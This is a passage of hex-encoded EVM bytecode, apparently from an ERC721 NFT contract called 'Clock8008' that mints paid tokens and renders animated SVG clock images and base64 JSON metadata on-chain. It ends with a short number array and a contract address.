0e51b81526004016106399061376e565b611f40811180156108ea5750611f4981105b6109295760405162461bcd60e51b815260206004820152601060248201526f151bdad95b881251081a5b9d985b1a5960821b6044820152606401610639565b61094461093e600b546001600160a01b031690565b82611b1b565b506001600a55565b600061095760085490565b82106109ba5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610639565b600882815481106109cd576109cd613a34565b90600052602060002001549050919050565b6000818152600260205260408120546001600160a01b03168061052c5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610639565b600b546001600160a01b03163314610a805760405162461bcd60e51b81526004016106399061376e565b6040516001600160a01b038216904790600081818185875af1925050503d8060008114610ac9576040519150601f19603f3d011682016040523d82523d6000602084013e610ace565b606091505b50505050565b60006001600160a01b038216610b3f5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610639565b506001600160a01b031660009081526003602052604090205490565b600b546001600160a01b03163314610b855760405162461bcd60e51b81526004016106399061376e565b610b8f6000611b35565b565b610b9a826109df565b6001600160a01b0316336001600160a01b031614610be35760405162461bcd60e51b81526004016106399060208082526004908201526353686f6f60e01b604082015260600190565b600b198160000b12158015610bfc5750600e8160000b13155b610c315760405162461bcd60e51b815260040161063990602080825260049082015263626f6f2160e01b604082015260600190565b6000918252600c6020526040822080549190920b60ff1660ff19909116179055565b600b546001600160a01b03163314610c7d5760405162461bcd60e51b81526004016106399061376e565b6040516370a0823160e01b8152306004820152610d0b9082906001600160a01b038516906370a082319060240160206040518083038186803b158015610cc257600080fd5b505afa158015610cd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfa9190613159565b6001600160a01b0385169190611b87565b5050565b60606001805461054190613988565b6002600a541415610d715760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610639565b6002600a5567016345785d8a0000341015610dc75760405162461bcd60e51b815260206004820152601660248201527554696d656b656570696e672061696e7420667265652160501b6044820152606401610639565b600081118015610dd85750611f4181105b610e175760405162461bcd60e51b815260206004820152601060248201526f151bdad95b881251081a5b9d985b1a5960821b6044820152606401610639565b6109443361093e565b610d0b338383611bd9565b610e353383611879565b610e515760405162461bcd60e51b8152600401610639906137a3565b610ace84848484611ca8565b6000818152600c602052604081205460609190810b90610e7c846113af565b9050610e86612e90565b6040518060a00160405280607a8152602001613fee607a913981528151604051610eb39190602001613588565b60408051808303601f19018152918152602080840192909252838201519051610edc9201613613565b60408051808303601f1901815291815282810191909152828101519051610f0691906020016135cc565b60408051601f1981840301815291905281600360200201528160036020020151604051602001610f369190613361565b60408051601f1981840301815291905281600460200201528160046020020151604051602001610f669190613656565b60408051808303601f1901815291815260a083019190915280516108e081019091526108bc808252614089602083013960c0820152610fa483611cdb565b60e0820152604080518082019091526008808252671e17b9ba3cb6329f60c11b602083015282906020020181905250604051806080016040528060538152602001613a8560539139610120820152610ffb85611219565b6101408201526040805180820190915260078152661e17ba32bc3a1f60c91b602082015281600b60200201819052506040518060a00160405280606d8152602001613ad8606d9139610180820152600083810b121561107357604051806040016040528060018152602001602d60f81b81525061108e565b604051806040016040528060018152602001602b60f81b8152505b6101a0820152600083810b12156110ae576110ab836000196138a5565b92505b6110ba8360000b611ed1565b6101c08201526040805180820190915260078152661e17ba32bc3a1f60c91b602082015281600f6020020181905250604051806104a001604052806104698152602001613b45610469913961020082015280516020808301516040808501516060860151608087015160a088015160c089015160e08a01516101008b0151965160009a61114b9a9099989101613273565b60408051808303601f19018152908290526101208401516101408501516101608601516101808701516101a08801516101c08901516101e08a01516102008b015197995061119e988a9890602001613273565b604051602081830303815290604052905060006111eb6111bd88611ed1565b6111c684611fcf565b6040516020016111d79291906133e7565b604051602081830303815290604052611fcf565b9050806040516020016111fe91906133a2565b60408051601f19818403018152919052979650505050505050565b606061052c8260405180604001604052806005815260200164109490539160da1b815250600d805480602002602001604051908101604052809291908181526020016000905b8282101561130b57838290600052602060002001805461127e90613988565b80601f01602080910402602001604051908101604052809291908181526020018280546112aa90613988565b80156112f75780601f106112cc576101008083540402835291602001916112f7565b820191906000526020600020905b8154815290600101906020018083116112da57829003601f168201915b50505050508152602001906001019061125f565b50505050612135565b600b546001600160a01b0316331461133e5760405162461bcd60e51b81526004016106399061376e565b6001600160a01b0381166113a35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610639565b6113ac81611b35565b50565b6113b7612eb8565b60006113e96113c584611ed1565b6040516020016113d59190613333565b604051602081830303815290604052612190565b600e80549192506000916113fd90846139de565b8154811061140d5761140d613a34565b9060005260206000200154905080600114156114d05750506040805160e081018252600760a08201818152662332333233323360c81b60c08401528252825180840184528181526611999ab0b2331960c91b6020828101919091528084019190915283518085018552828152662333353335333560c81b81830152838501528351808501855260048152630233030360e41b818301526060840152835180850190945290835266046c670c670c6760cb1b90830152608081019190915292915050565b80600214156115885750506040805160e081018252600760a08201818152662363306136373560c81b60c08401528252825180840184528181526611b19ab0999ab160c91b60208281019190915280840191909152835180850185528281526611b1b3319ab0b160c91b818301528385015283518085018552828152662362653937356560c81b8183015260608401528351808501909452908352662335313461333960c81b90830152608081019190915292915050565b80600314156116415750506040805160e081018252600760a082018181526611b31b331b331b60c91b60c0840152825282518084018452818152662363336336633360c81b6020828101919091528084019190915283518085018552828152662330633566333560c81b818301528385015283518085018552918252660236561656666360cc1b8282015260608301919091528251808401909352600483526311b3333360e11b90830152608081019190915292915050565b80600414156116f95750506040805160e081018252600760a082018181526611b11b311a311960c91b60c084015282528251808401845281815266046c270c270c2760cb1b6020828101919091528084019190915283518085018552828152662330613336376560c81b8183015283850152835180850185528281526608d8589858985960ca1b81830152606084015283518085019094529083526611b11ab19cb1b360c91b90830152608081019190915292915050565b6040518060a0016040528060405180604001604052806007815260200166119cb31cb31cb360c91b81525081526020016040518060400160405280600781526020016611b333199b199b60c91b81525081526020016040518060400160405280600481526020016311b3333360e11b8152508152602001604051806040016040528060048152602001630233030360e41b8152508152602001604051806040016040528060048152602001630233030360e41b81525081525092505050919050565b60006001600160e01b031982166380ac58cd60e01b14806117ec57506001600160e01b03198216635b5e139f60e01b145b8061052c57506301ffc9a760e01b6001600160e01b031983161461052c565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611840826109df565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166118f25760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610639565b60006118fd836109df565b9050806001600160a01b0316846001600160a01b031614806119385750836001600160a01b031661192d846105c4565b6001600160a01b0316145b8061196857506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611983826109df565b6001600160a01b0316146119eb5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610639565b6001600160a01b038216611a4d5760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610639565b611a588383836121c1565b611a6360008261180b565b6001600160a01b0383166000908152600360205260408120805460019290611a8c908490613945565b90915550506001600160a01b0382166000908152600360205260408120805460019290611aba9084906137f4565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b610d0b828260405180602001604052806000815250612279565b600b80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261076f9084906122ac565b816001600160a01b0316836001600160a01b03161415611c3b5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610639565b6001600160a01b03838116600081815260056020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b611cb3848484611970565b611cbf8484848461237e565b610ace5760405162461bcd60e51b81526004016106399061371c565b60606000611ce84261248b565b90506000611cf542612498565b90506000611d02426124b4565b905060008560000b1215611d5657611d20600086900b600019613820565b811015611d3557611d3281600c6137f4565b90505b611d45600086900b600019613820565b611d4f9082613945565b9050611d67565b611d64600086900b826137f4565b90505b611d72600c826139de565b90506000603c611d8485610168613926565b611d8e919061380c565b90506000603c611da085610168613926565b611daa919061380c565b90506000603c611dbb86601e613926565b611dc5919061380c565b600c611dd38661015e613926565b611ddd919061380c565b611de791906137f4565b9050611df1612ed2565b611e24604051806040016040528060118152602001701c9bdd185d1950db1bd8dad4d958dbdb99607a1b815250856124d2565b8152604080518082019091526011815270726f74617465436c6f636b4d696e75746560781b6020820152611e5890846124d2565b8160016020020181905250611e946040518060400160405280600f81526020016e3937ba30ba32a1b637b1b5a437bab960891b815250836124d2565b604080830182905282516020808501519251611eb4949293929101613230565b604051602081830303815290604052975050505050505050919050565b606081611ef55750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611f1f5780611f09816139c3565b9150611f189050600a8361380c565b9150611ef9565b60008167ffffffffffffffff811115611f3a57611f3a613a4a565b6040519080825280601f01601f191660200182016040528015611f64576020820181803683370190505b5090505b841561196857611f79600183613945565b9150611f86600a866139de565b611f919060306137f4565b60f81b818381518110611fa657611fa6613a34565b60200101906001600160f81b031916908160001a905350611fc8600a8661380c565b9450611f68565b805160609080611fef575050604080516020810190915260008152919050565b60006003611ffe8360026137f4565b612008919061380c565b612013906004613926565b905060006120228260206137f4565b67ffffffffffffffff81111561203a5761203a613a4a565b6040519080825280601f01601f191660200182016040528015612064576020820181803683370190505b5090506000604051806060016040528060408152602001613fae604091399050600181016020830160005b868110156120f0576003818a01810151603f601282901c8116860151600c83901c8216870151600684901c831688015192909316870151600891821b60ff94851601821b92841692909201901b91160160e01b83526004909201910161208f565b50600386066001811461210a576002811461211b57612127565b613d3d60f01b600119830152612127565b603d60f81b6000198301525b505050918152949350505050565b606060006121578461214687611ed1565b6040516020016113d5929190613201565b905060008384518361216991906139de565b8151811061217957612179613a34565b6020026020010151905080925050505b9392505050565b6000816040516020016121a391906131e5565b60408051601f19818403018152919052805160209091012092915050565b6001600160a01b03831661221c5761221781600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61223f565b816001600160a01b0316836001600160a01b03161461223f5761223f8382612aa7565b6001600160a01b0382166122565761076f81612b44565b826001600160a01b0316826001600160a01b03161461076f5761076f8282612bf3565b6122838383612c37565b612290600084848461237e565b61076f5760405162461bcd60e51b81526004016106399061371c565b6000612301826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612d859092919063ffffffff16565b80519091501561076f578080602001905181019061231f91906130e9565b61076f5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610639565b60006001600160a01b0384163b1561248057604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906123c290339089908890889060040161367f565b602060405180830381600087803b1580156123dc57600080fd5b505af192505050801561240c575060408051601f3d908101601f1916820190925261240991810190613123565b60015b612466573d80801561243a576040519150601f19603f3d011682016040523d82523d6000602084013e61243f565b606091505b50805161245e5760405162461bcd60e51b81526004016106399061371c565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611968565b506001949350505050565b600061052c603c836139de565b6000806124a7610e10846139de565b9050612189603c8261380c565b6000806124c462015180846139de565b9050612189610e108261380c565b606060006124df83611ed1565b905060006124f76124f2856101686137f4565b611ed1565b9050612501612eec565b604080518082018252600b81526a02035b2bcb33930b6b2b9960ad1b602080830191909152908352828101889052815180830183526002815261207b60f01b818301528383015281516060810190925260218083529061406890830139606082015260808101839052604080518082018252600580825264646567293b60d81b602080840182905260a086019390935283518085018552601781527605adadef45ae8e4c2dce6ccdee4da7440e4dee8c2e8ca5604b1b8185015260c086015260e085018790528351808501855282815280840182905261010086015283518085018552601681527505adae65ae8e4c2dce6ccdee4da7440e4dee8c2e8ca560531b8185015261012086015261014085018790528351808501855282815280840182905261016086015283518085018552601581527405ade5ae8e4c2dce6ccdee4da7440e4dee8c2e8ca5605b1b818501526101808601526101a08501879052835180850185528281528084018290526101c08601528351808501855260128152710e8e4c2dce6ccdee4da7440e4dee8c2e8ca560731b818501526101e08601526102008501879052835180850185526007815266646567293b207d60c81b8185015261022086015283518085018552601f81527f746f207b202d7765626b69742d7472616e73666f726d3a20726f74617465280081850152610240860152610260850186905283518085019094529083529082015281601460200201819052506040518060400160405280601781526020017605adadef45ae8e4c2dce6ccdee4da7440e4dee8c2e8ca5604b1b8152508160156021811061276457612764613a34565b602002015281816016602002018190525060405180604001604052806005815260200164646567293b60d81b815250816017602181106127a6576127a6613a34565b60200201819052506040518060400160405280601681526020017505adae65ae8e4c2dce6ccdee4da7440e4dee8c2e8ca560531b815250816018602181106127f0576127f0613a34565b602002015281816019602002018190525060405180604001604052806005815260200164646567293b60d81b81525081601a6021811061283257612832613a34565b60200201819052506040518060400160405280601581526020017405ade5ae8e4c2dce6ccdee4da7440e4dee8c2e8ca5605b1b81525081601b6021811061287b5761287b613a34565b60200201528181601c602002018190525060405180604001604052806005815260200164646567293b60d81b81525081601d602181106128bd576128bd613a34565b6020020181905250604051806040016040528060128152602001710e8e4c2dce6ccdee4da7440e4dee8c2e8ca560731b81525081601e6021811061290357612903613a34565b60200201528181601f602002018190525060405180604001604052806009815260200168646567293b207d207d60b81b8152508160206021811061294957612949613a34565b602090810291909101919091528151828201516040808501516060860151608087015160a088015160c089015160e08a01516101008b0151965160009a6129939a99989101613273565b60408051808303601f19018152908290526101208401516101408501516101608601516101808701516101a08801516101c08901516101e08a01516102008b01519799506129e6988a9890602001613273565b60408051808303601f19018152908290526102208401516102408501516102608601516102808701516102a08801516102c08901516102e08a01516103008b0151979950612a39988a9890602001613273565b60408051601f19818403018152908290526103208401516103408501516103608601516103808701516103a08801516103c08901516103e08a01516104008b0151979950612a8c988a9890602001613273565b60408051808303601f19018152919052979650505050505050565b60006001612ab484610ad4565b612abe9190613945565b600083815260076020526040902054909150808214612b11576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090612b5690600190613945565b60008381526009602052604081205460088054939450909284908110612b7e57612b7e613a34565b906000526020600020015490508060088381548110612b9f57612b9f613a34565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480612bd757612bd7613a1e565b6001900381819060005260206000200160009055905550505050565b6000612bfe83610ad4565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216612c8d5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610639565b6000818152600260205260409020546001600160a01b031615612cf25760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610639565b612cfe600083836121c1565b6001600160a01b0382166000908152600360205260408120805460019290612d279084906137f4565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6060611968848460008585843b612dde5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610639565b600080866001600160a01b03168587604051612dfa91906131e5565b60006040518083038185875af1925050503d8060008114612e37576040519150601f19603f3d011682016040523d82523d6000602084013e612e3c565b606091505b5091509150612e4c828286612e57565b979650505050505050565b60608315612e66575081612189565b825115612e765782518084602001fd5b8160405162461bcd60e51b81526004016106399190613709565b6040518061022001604052806011905b6060815260200190600190039081612ea05790505090565b6040805160a0810190915260608152600460208201612ea0565b604080516060808201909252908152600260208201612ea0565b604080516104208101909152606081526020808201612ea0565b80356001600160a01b0381168114612f1d57600080fd5b919050565b600060208284031215612f3457600080fd5b61218982612f06565b60008060408385031215612f5057600080fd5b612f5983612f06565b9150612f6760208401612f06565b90509250929050565b600080600060608486031215612f8557600080fd5b612f8e84612f06565b9250612f9c60208501612f06565b9150604084013590509250925092565b60008060008060808587031215612fc257600080fd5b612fcb85612f06565b9350612fd960208601612f06565b925060408501359150606085013567ffffffffffffffff80821115612ffd57600080fd5b818701915087601f83011261301157600080fd5b81358181111561302357613023613a4a565b604051601f8201601f19908116603f0116810190838211818310171561304b5761304b613a4a565b816040528281528a602084870101111561306457600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000806040838503121561309b57600080fd5b6130a483612f06565b915060208301356130b481613a60565b809150509250929050565b600080604083850312156130d257600080fd5b6130db83612f06565b946020939093013593505050565b6000602082840312156130fb57600080fd5b815161218981613a60565b60006020828403121561311857600080fd5b813561218981613a6e565b60006020828403121561313557600080fd5b815161218981613a6e565b60006020828403121561315257600080fd5b5035919050565b60006020828403121561316b57600080fd5b5051919050565b6000806040838503121561318557600080fd5b8235915060208301358060000b81146130b457600080fd5b600081518084526131b581602086016020860161395c565b601f01601f19169290920160200192915050565b600081516131db81856020860161395c565b9290920192915050565b600082516131f781846020870161395c565b9190910192915050565b6000835161321381846020880161395c565b83519083019061322781836020880161395c565b01949350505050565b6000845161324281846020890161395c565b84519083019061325681836020890161395c565b845191019061326981836020880161395c565b0195945050505050565b60008a51613285818460208f0161395c565b8a516132978183860160208f0161395c565b8a5191840101906132ac818360208e0161395c565b89519101906132bf818360208d0161395c565b88516132d18183850160208d0161395c565b88519290910101906132e7818360208b0161395c565b86516132f98183850160208b0161395c565b865192909101019061330f81836020890161395c565b8451613321818385016020890161395c565b9101019b9a5050505050505050505050565b65434f4c4f525360d01b81526000825161335481600685016020870161395c565b9190910160060192915050565b6d01696b1b7b637b916b430b7321d160951b81526000825161338a81600e85016020870161395c565b603b60f81b600e939091019283015250600f01919050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c0000008152600082516133da81601d85016020870161395c565b91909101601d0192915050565b707b226e616d65223a2022436c6f636b202360781b8152825160009061341481601185016020880161395c565b7f222c20226465736372697074696f6e223a2022436c6f636b38303038206973206011918401918201527f6120636f6c6c656374696f6e206f6620383030382066756e6374696f6e696e6760318201527f20636c6f636b73207468617420796f752063616e206f776e20696e207468652060518201527f6d65746176657273652e20437261667465642077697468207363727570756c6f60718201527f757320617474656e74696f6e20746f2064657461696c2c20436c6f636b38303060918201527f38207265646566696e65732074696d656b656570696e6720696e20746865206d60b18201527f6574617665727365207768696c65206265696e6720612074696d656c6573732060d18201527f737461706c652e222c2022696d616765223a2022646174613a696d6167652f7360f18201526d1d99cade1b5b0ed8985cd94d8d0b60921b61011182015261357f61357161011f8301866131c9565b61227d60f01b815260020190565b95945050505050565b7001696b1b7b637b916b83934b6b0b93c9d1607d1b8152600082516135b481601185016020870161395c565b603b60f81b6011939091019283015250601201919050565b7301696b1b7b637b916b130b1b5b3b937bab7321d160651b8152600082516135fb81601485016020870161395c565b603b60f81b6014939091019283015250601501919050565b6f01696b1b7b637b916b0b1b1b2b73a1d160851b81526000825161363e81601085016020870161395c565b603b60f81b6010939091019283015250601101919050565b6d01696b1b7b637b916ba32bc3a1d160951b81526000825161338a81600e85016020870161395c565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906136b29083018461319d565b9695505050505050565b602080825260009060c0830183820185845b60058110156136fd57601f198785030183526136eb84835161319d565b935091840191908401906001016136ce565b50919695505050505050565b602081526000612189602083018461319d565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115613807576138076139f2565b500190565b60008261381b5761381b613a08565b500490565b60006001600160ff1b0381841382841380821686840486111615613846576138466139f2565b600160ff1b6000871282811687830589121615613865576138656139f2565b60008712925087820587128484161615613881576138816139f2565b87850587128184161615613897576138976139f2565b505050929093029392505050565b60008082810b84820b82811383831382607f04841182821616156138cb576138cb6139f2565b607f19858412828116868305861216156138e7576138e76139f2565b9585129583871685830587121615613901576139016139f2565b84607f0586128188161615613918576139186139f2565b505050910295945050505050565b6000816000190483118215151615613940576139406139f2565b500290565b600082821015613957576139576139f2565b500390565b60005b8381101561397757818101518382015260200161395f565b83811115610ace5750506000910152565b600181811c9082168061399c57607f821691505b602082108114156139bd57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156139d7576139d76139f2565b5060010190565b6000826139ed576139ed613a08565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b80151581146113ac57600080fd5b6001600160e01b0319811681146113ac57600080fdfe3c7465787420636c6173733d22746578742220783d223530252220793d223330252220646f6d696e616e742d626173656c696e653d226d6964646c652220746578742d616e63686f723d226d6964646c65223e3c7465787420636c6173733d227465787422207374796c653d22666f6e742d73697a653a203270782220783d223530252220793d223730252220646f6d696e616e742d626173656c696e653d226d6964646c652220746578742d616e63686f723d226d6964646c65223e5554433c6720636c6173733d226c696e6573223e203c6c696e6520636c6173733d226c696e65206c696e652d31222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d32222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d33222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d34222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d35222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d36222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d37222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d38222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d39222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d3130222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d3131222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d3132222078313d223530222079313d2235222078323d223530222079323d223130223e3c2f6c696e653e203c2f673e203c6c696e6520636c6173733d226c696e65206c696e652d686f7572222078313d223530222079313d223235222078323d223530222079323d223530223e3c2f6c696e653e203c6c696e6520636c6173733d226c696e65206c696e652d6d696e757465222078313d223530222079313d223130222078323d223530222079323d223530223e3c2f6c696e653e203c636972636c6520636c6173733d22636972636c65222063783d223530222063793d2235302220723d2233223e3c2f636972636c653e203c6720636c6173733d226c696e65206c696e652d7365636f6e64223e203c6c696e652078313d223530222079313d223130222078323d223530222079323d223630223e3c2f6c696e653e203c636972636c652063783d223530222063793d2235302220723d22312e35223e3c2f636972636c653e203c2f673e203c2f7376673e4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f3c73766720786d6c6e733d22687474703a2f2f7777772e77332e6f72672f323030302f7376672220636c6173733d22636c6f636b222076696577426f783d22302030203130302031303022207374796c653d2277696474683a34323070783b6865696768743a34323070783b223e203c7374796c653e202a207b66726f6d207b202d7765626b69742d7472616e73666f726d3a20726f74617465282d7765626b69742d7472616e73666f726d2d6f726967696e3a20696e68657269743b207472616e73666f726d2d6f726967696e3a20696e68657269743b20646973706c61793a20666c65783b20616c69676e2d6974656d733a2063656e7465723b206a7573746966792d636f6e74656e743a2063656e7465723b206d617267696e3a20303b206261636b67726f756e642d636f6c6f723a20766172282d2d636f6c6f722d6261636b67726f756e64293b20666f6e742d66616d696c793a2048656c7665746963612c2053616e732d53657269663b20666f6e742d73697a653a203570783b207d202e74657874207b20636f6c6f723a20766172282d2d636f6c6f722d74657874293b207d202e636972636c65207b20636f6c6f723a20766172282d2d636f6c6f722d616363656e74293b207d202e636c6f636b207b2077696474683a203630766d696e3b206865696768743a203630766d696e3b2066696c6c3a2063757272656e74436f6c6f723b202d7765626b69742d7472616e73666f726d2d6f726967696e3a203530707820353070783b207472616e73666f726d2d6f726967696e3a203530707820353070783b202d7765626b69742d616e696d6174696f6e2d6e616d653a20666164652d696e3b20616e696d6174696f6e2d6e616d653a20666164652d696e3b202d7765626b69742d616e696d6174696f6e2d6475726174696f6e3a203530306d733b20616e696d6174696f6e2d6475726174696f6e3a203530306d733b202d7765626b69742d616e696d6174696f6e2d66696c6c2d6d6f64653a20626f74683b20616e696d6174696f6e2d66696c6c2d6d6f64653a20626f74683b207d202e636c6f636b206c696e65207b207374726f6b653a2063757272656e74436f6c6f723b207374726f6b652d6c696e656361703a20726f756e643b207d202e6c696e6573207b20636f6c6f723a20766172282d2d636f6c6f722d7072696d617279293b207374726f6b652d77696474683a20302e3570783b207d202e6c696e652d31207b202d7765626b69742d7472616e73666f726d3a20726f74617465283330646567293b207472616e73666f726d3a20726f74617465283330646567293b207d202e6c696e652d32207b202d7765626b69742d7472616e73666f726d3a20726f74617465283630646567293b207472616e73666f726d3a20726f74617465283630646567293b207d202e6c696e652d33207b202d7765626b69742d7472616e73666f726d3a20726f74617465283930646567293b207472616e73666f726d3a20726f74617465283930646567293b207d202e6c696e652d34207b202d7765626b69742d7472616e73666f726d3a20726f7461746528313230646567293b207472616e73666f726d3a20726f7461746528313230646567293b207d202e6c696e652d35207b202d7765626b69742d7472616e73666f726d3a20726f7461746528313530646567293b207472616e73666f726d3a20726f7461746528313530646567293b207d202e6c696e652d36207b202d7765626b69742d7472616e73666f726d3a20726f7461746528313830646567293b207472616e73666f726d3a20726f7461746528313830646567293b207d202e6c696e652d37207b202d7765626b69742d7472616e73666f726d3a20726f7461746528323130646567293b207472616e73666f726d3a20726f7461746528323130646567293b207d202e6c696e652d38207b202d7765626b69742d7472616e73666f726d3a20726f7461746528323430646567293b207472616e73666f726d3a20726f7461746528323430646567293b207d202e6c696e652d39207b202d7765626b69742d7472616e73666f726d3a20726f7461746528323730646567293b207472616e73666f726d3a20726f7461746528323730646567293b207d202e6c696e652d3130207b202d7765626b69742d7472616e73666f726d3a20726f7461746528333030646567293b207472616e73666f726d3a20726f7461746528333030646567293b207d202e6c696e652d3131207b202d7765626b69742d7472616e73666f726d3a20726f7461746528333330646567293b207472616e73666f726d3a20726f7461746528333330646567293b207d202e6c696e652d3132207b202d7765626b69742d7472616e73666f726d3a20726f7461746528333630646567293b207472616e73666f726d3a20726f7461746528333630646567293b207d202e6c696e65207b207374726f6b652d77696474683a20312e3570783b207472616e736974696f6e3a202d7765626b69742d7472616e73666f726d203230306d732063756269632d62657a69657228302e3137352c20302e3838352c20302e33322c20312e323735293b207472616e736974696f6e3a207472616e73666f726d203230306d732063756269632d62657a69657228302e3137352c20302e3838352c20302e33322c20312e323735293b207472616e736974696f6e3a207472616e73666f726d203230306d732063756269632d62657a69657228302e3137352c20302e3838352c20302e33322c20312e323735292c202d7765626b69742d7472616e73666f726d203230306d732063756269632d62657a69657228302e3137352c20302e3838352c20302e33322c20312e323735293b207d202e6c696e652d686f7572207b20636f6c6f723a20766172282d2d636f6c6f722d68616e64293b20616e696d6174696f6e3a20726f74617465436c6f636b486f75722032313630303073206c696e65617220696e66696e6974653b207d202e6c696e652d6d696e757465207b20636f6c6f723a20766172282d2d636f6c6f722d68616e64293b20616e696d6174696f6e3a20726f74617465436c6f636b4d696e757465203336303073206c696e65617220696e66696e6974653b207d202e6c696e652d7365636f6e64207b20636f6c6f723a20766172282d2d636f6c6f722d616363656e74293b207374726f6b652d77696474683a203170783b20616e696d6174696f6e3a20726f74617465436c6f636b5365636f6e6420363073206c696e65617220696e66696e6974653b207da264697066735822122011e62bdd3802da03591403982fa07521fd5cd0c1dfb88ddb2f594b14cc6613dd64736f6c63430008070033
[ 4, 3, 8, 9, 6, 10, 5 ]
0xf2471ef536cf59d4dea313b1df55f0fcc31e9499
